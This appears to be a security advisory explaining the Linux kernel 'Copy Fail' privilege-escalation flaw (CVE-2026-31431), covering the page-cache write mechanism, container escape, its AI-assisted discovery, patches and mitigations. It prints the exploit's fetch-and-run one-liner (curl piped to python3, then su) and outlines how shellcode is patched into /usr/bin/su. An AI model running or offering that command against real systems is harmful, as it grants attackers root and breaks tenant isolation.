Résumé

Copy Fail (CVE-2026-31431), disclosed on 29 April 2026 by the security firm Theori, is a Linux kernel flaw that turns any unprivileged local user into root with a 732-byte Python script and no luck required. Despite a name that sounds like a clipboard bug, it has nothing to do with copy and paste: it is a failed copy deep in the kernel's crypto code. A nine-year-old optimization in the AF_ALG crypto socket interface let an attacker steer the kernel into writing four attacker-chosen bytes into the page cache, the in-memory copy of files that the CPU actually executes. Patch the cached pages of a setuid-root binary like /usr/bin/su, run it, and you are root. The exploit is a straight-line logic flaw with no race condition and no hardcoded kernel addresses, so the exact same script runs at roughly 100 percent reliability across Ubuntu, RHEL, SUSE, Amazon Linux and every other distribution built since 2017. Worse, because the page cache is shared by the whole machine, it crosses container boundaries: one poisoned page in a Kubernetes pod can compromise neighbouring tenants and the host. The disk file is never touched, so file-integrity scanners stay silent. It rates CVSS 7.8 (High), was added to CISA's Known Exploited Vulnerabilities catalog on 1 May 2026, and is notable for how it was found: an AI-assisted code scan surfaced a bug that had been silently exploitable for nearly a decade in about one hour.

How it works

To execute a program, Linux does not read it fresh from disk every time. It keeps file contents in the page cache, a kernel-wide pool of in-memory pages keyed to each file, and the CPU runs the bytes sitting in those cached pages. Corrupt a cached page of an executable and you change what that program does the next time it runs, without the file on disk ever changing. That is the prize Copy Fail goes after, and it reaches it through an unlikely door: the kernel's crypto API.

AF_ALG is a socket interface that lets ordinary userspace programs ask the kernel to do cryptography for them. You open a socket, bind it to an algorithm, and feed it data. In 2017 an optimization (kernel commit 72548b093ee3) made the AEAD path of this interface operate "in place" to save a copy: it pointed the operation's source and destination at the same scatterlist (the kernel's description of a set of memory pages) and chained the authentication-tag region onto it by reference rather than copying it. The fatal combination is the splice() system call. splice() moves data between file descriptors inside the kernel by passing page references, not bytes, so splicing a file into the crypto socket hands the kernel the file's actual page-cache pages as the tag region. Because source and destination were merged, those read-only page-cache pages now sit inside the writable destination buffer.

The trigger is a specific algorithm, authencesn, the variant used for IPsec with extended sequence numbers. Its decrypt path uses the output buffer as scratch space and writes four bytes of sequence-number data (taken straight from bytes four through seven of the attacker's input) at a controlled offset, just past the tag. That offset lands inside the chained page-cache pages, and crucially the write happens before the authentication tag is ever checked, so no key and no valid tag are required. The result, in the disclosure's own words, is "a controlled page-cache write primitive against any readable file": four attacker-chosen bytes, at an attacker-chosen offset, into the in-memory copy of any file the attacker can read.

Why a four-byte write becomes root

Four bytes is enough. The proof-of-concept loops, patching shellcode into the cached pages of /usr/bin/su four bytes at a time (the payload is a small zlib-compressed blob), then simply executes su. Because su is setuid-root, the kernel runs it as UID 0, but it is now running the attacker's patched bytes from the corrupted cache page, which spawn a root shell. The whole thing is the one-liner curl https://copy.fail/exp | python3 && su.

The stealth is in a detail. The corrupted page is never marked "dirty", so the kernel's writeback machinery never flushes it to disk. The on-disk binary is byte-for-byte unchanged; only RAM is poisoned. That defeats the entire category of defenders that hash files on disk: AIDE, Tripwire, package verification and agentless image scanners all compare the untouched disk copy and find nothing wrong, while the running system serves root shells. Execution always comes from whatever pages currently back the file in cache, dirty or clean, so a clean-but-poisoned page is exactly what runs.

Container escape and the shared kernel

This is where Copy Fail stops being a single-host problem. Containers do not have their own kernel; they share the host's, and therefore share one page cache, which is keyed to files (inodes), not to namespaces. Two containers that read the same underlying file, a shared base-image layer, a host binary, the runc runtime, reference the very same cached pages. So an unprivileged process inside one pod can poison a cached page that a process in another container, or on the host itself, later executes. The researchers call it "a container escape primitive and a Kubernetes node compromise vector", and a follow-up showed pod-to-host takeover on real managed Kubernetes.

The blunt lesson: a container is a resource boundary, not a security boundary, against a kernel page-cache bug. Namespaces, seccomp-light profiles, image scanning and file-integrity monitoring do not contain it. The only things that do are a patched kernel, a seccomp profile that blocks the AF_ALG socket family outright, or running untrusted workloads on a separate-kernel sandbox such as gVisor, Kata Containers or a microVM, which do not share the host's page cache.

Found by AI in about an hour

The discovery is half the story. It began with a human hypothesis: Theori researcher Taeyang Lee, drawing on earlier kernelCTF work mapping the AF_ALG attack surface, suspected that AF_ALG combined with splice() created an unprivileged path that could deliver page-cache references of read-only files (including setuid binaries) into kernel crypto buffers. He handed that hypothesis to Xint Code, Theori's LLM-native code scanner, pointed it at the kernel's crypto/ subsystem, and it correlated the codepaths and surfaced Copy Fail as the top finding in roughly one hour. The bug had sat exploitable since 2017 because it lived at the intersection of three unrelated pieces (the in-place optimization, the authencesn scratch write, and splice page-cache delivery) that no human had connected. Theori, an offensive-security firm with a deep competitive-hacking pedigree, had launched the tool commercially only about six weeks earlier, and framed the result as evidence that the cost of finding deep logic flaws may have dropped by roughly an order of magnitude. The branded site, copy.fail, leans into exactly that, with the tagline "Is your software AI-era safe?".

Why it matters

Copy Fail is the newest member of a clear family of Linux privilege-escalation bugs that abuse kernel optimizations operating in place on shared page-cache pages: Dirty COW (CVE-2016-5195) in 2016, Dirty Pipe (CVE-2022-0847) in 2022, and now Copy Fail. It is the most dangerous of the three to deploy, because Dirty Pipe needed a recent kernel and careful pipe manipulation, while Copy Fail reaches back to 2017, needs no race and no offsets, and runs unmodified everywhere. The crypto socket interface it abuses, AF_ALG, has a quiet history of local-privilege-escalation bugs, a reminder that a rarely-audited corner of a huge codebase is exactly where decade-old flaws hide.

There are three durable takeaways. First, container isolation assumes a trustworthy shared kernel, and a single kernel memory bug erases that assumption across every tenant on a node; high-isolation workloads need a separate kernel, not just a namespace. Second, defenders who trust on-disk integrity are blind to in-memory attacks; detection has to watch behaviour (here, unprivileged processes opening AF_ALG sockets and splicing files), not just file hashes. Third, and most strategically, the economics of vulnerability discovery are shifting: a human insight plus an AI scanner pulled a nine-year-latent kernel flaw out of hiding in an hour, which means the latent bugs in everyone's dependencies are about to get found faster, by both defenders and attackers. Copy Fail follows the branded-vulnerability playbook that Heartbleed created a decade earlier, a logo and a website, but its real signature is being one of the first marquee bugs whose headline is not the flaw, but the machine that found it.

Comment le corriger

  • Patch the kernel and reboot: the upstream fix (mainline commit a664bf3d603d, merged 1 April 2026) reverts the 2017 optimization so the crypto path operates out of place again and page-cache pages can never reach the writable destination; apply your distribution's kernel update and recycle affected nodes.
  • Where you cannot patch immediately, disable the vulnerable module: `echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf` then `rmmod algif_aead`; on kernels where it is built in (such as RHEL) boot with `initcall_blacklist=algif_aead_init`.
  • For untrusted workloads, block the attack surface with a seccomp profile that denies creation of AF_ALG sockets (address family 38); this neutralises the exploit without a reboot.
  • Treat any host or node where untrusted code may have run before patching as potentially root-compromised: recycle the node, rotate secrets and credentials that lived on it, and do not rely on on-disk file-integrity tools to confirm cleanliness, since the attack leaves the disk untouched.

Comment l’éviter

  • Do not run untrusted code on a shared kernel and expect the container to hold it: put genuinely untrusted or multi-tenant workloads on separate-kernel isolation (gVisor, Kata Containers, or microVMs), which do not share the host page cache.
  • Disabling algif_aead is safe to standardise on: it removes only the userspace AF_ALG AEAD path and does not affect dm-crypt, LUKS, kTLS, IPsec, SSH or kernel-keyring crypto, so most fleets lose nothing by turning it off.
  • Build detection around behaviour, not file hashes: alert on unprivileged processes that open AF_ALG sockets and splice files, and on unexpected execution patterns from setuid binaries, because page-cache tampering never shows up in disk-integrity monitoring.
  • Keep kernels current and track Known Exploited Vulnerabilities feeds: Copy Fail reached CISA KEV within days of disclosure, and a fast, tested node-patching pipeline is the difference between a 24-hour exposure and a months-long one.

Références

Vulnérabilités liées

Tout Infra →